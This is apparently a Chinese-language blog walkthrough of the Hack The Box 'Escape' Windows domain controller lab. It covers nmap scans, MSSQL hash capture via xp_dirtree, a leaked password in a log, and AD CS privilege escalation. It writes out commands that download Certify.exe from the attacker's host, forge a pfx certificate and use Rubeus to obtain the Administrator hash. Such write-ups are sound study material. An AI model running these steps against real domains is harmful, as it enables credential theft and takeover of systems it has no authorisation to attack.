0%

HTB-escape

HTB-escape

第一个windows靶机,记录一下

信息搜集

nmap扫一下端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Nmap 7.94 scan initiated Sun Jun 11 20:21:13 2023 as: nmap --min-rate 10000 -p- -Pn -oA nmap/ports 10.10.11.202
Nmap scan report for 10.10.11.202
Host is up (0.29s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49687/tcp open unknown
49701/tcp open unknown
49709/tcp open unknown
52716/tcp open unknown

# Nmap done at Sun Jun 11 20:23:00 2023 -- 1 IP address (1 host up) scanned in 107.14 seconds

很明显的域控服务器。端口有点多,设一个变量接收

1
ports=$(grep open nmap/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# Nmap 7.94 scan initiated Sun Jun 11 20:24:02 2023 as: nmap -sT -sC -sV -O -p53,88,135,139,389,445,464,593,636,1433,3268,5985,9389,49667,49687,49701,49709,52716 -oA nmap/detail 10.10.11.202
Nmap scan report for 10.10.11.202
Host is up (0.29s latency).

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-06-11 20:23:57Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after: 2023-11-18T21:20:35
|_ssl-date: 2023-06-11T20:25:40+00:00; +7h59m47s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after: 2023-11-18T21:20:35
|_ssl-date: 2023-06-11T20:25:41+00:00; +7h59m46s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.10.11.202:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.10.11.202:1433:
| Target_Name: sequel
| NetBIOS_Domain_Name: sequel
| Target_Name: sequel
| NetBIOS_Domain_Name: sequel
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: dc.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-06-10T02:13:41
|_Not valid after: 2053-06-10T02:13:41
|_ssl-date: 2023-06-11T20:25:39+00:00; +7h59m47s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after: 2023-11-18T21:20:35
|_ssl-date: 2023-06-11T20:25:40+00:00; +7h59m46s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49687/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49701/tcp open msrpc Microsoft Windows RPC
49709/tcp open msrpc Microsoft Windows RPC
52716/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (86%)
Aggressive OS guesses: Microsoft Windows Server 2019 (86%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h59m46s, deviation: 0s, median: 7h59m45s
| smb2-time:
| date: 2023-06-11T20:24:58
|_ start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 11 20:25:58 2023 -- 1 IP address (1 host up) scanned in 116.13 seconds

可以看到有dc.sequel.htb和sequel.htb,加到hosts文件中

漏洞脚本扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Nmap 7.94 scan initiated Sun Jun 11 20:24:43 2023 as: nmap --script=vuln -p53,88,135,139,389,445,464,593,636,1433,3268,5985,9389,49667,49687,49701,49709,52716 -oA nmap/vuln 10.10.11.202
Nmap scan report for 10.10.11.202
Host is up (0.36s latency).

PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
|_tls-ticketbleed: ERROR: Script execution failed (use -d to debug)
3268/tcp open globalcatLDAP
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49687/tcp open unknown
49701/tcp open unknown
49709/tcp open unknown
52716/tcp open unknown

Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false

# Nmap done at Sun Jun 11 20:26:58 2023 -- 1 IP address (1 host up) scanned in 134.59 seconds

一些尝试

开了rpc,尝试爆一下uuid和操作数

失败,开了samba尝试一下匿名登录

有一个PDF,里面写了mssql的公用账户和密码

接下来就是长达两个小时试图在kali里面连接mssql

后来发现微软官方说的支持linux系统里面没有Kali🥲

docker也用不了

最后发现Kali自带impacket包

登进去以后发现xp_cmdshell被ban了,数据库里面也没有什么有用的信息

后来发现了浅析mssql渗透之XP_dirtree LLMNR/NBT-NS欺骗攻击_QiaN_djx的博客-CSDN博客

跟着打就可以得到用户哈希,John直接可以跑出来

信息搜集

可以看到有3个用户,接下来应该就是要移动到Ryan.Cooper了

在C:\sqlserver\logs里面有一份日志备份文件,可以看到Ryan.Cooper的用户名密码。

在desktop里面找到了userflag

提权

找windows提权的时候找到了这个AD CS Domain Escalation - HackTricks

找了一个xd的exe集合包r3motecontrol/Ghostpack-CompiledBinaries: Compiled Binaries for Ghostpack (.NET v4.0) (github.com)

微软NB

windows用Invoke-Webrequest下文件

1
Invoke-WebRequest "http://10.10.14.173:1234/Certify.exe " -OutFile "C:\Users\Ryan.Cooper\Documents\Certify.exe"

把得到的key和pem放Kali里面生成pfx证书,命令跑Certify.exe的最后给了

1
openssl pkcs12 -in cert.pem -inkey private.key  -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

最后把Rubus和pfx传上去,得到administrator的ntlm

1
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials 

生成证书的时候空密码就不用加password参数

在desktop里找到rootflag😭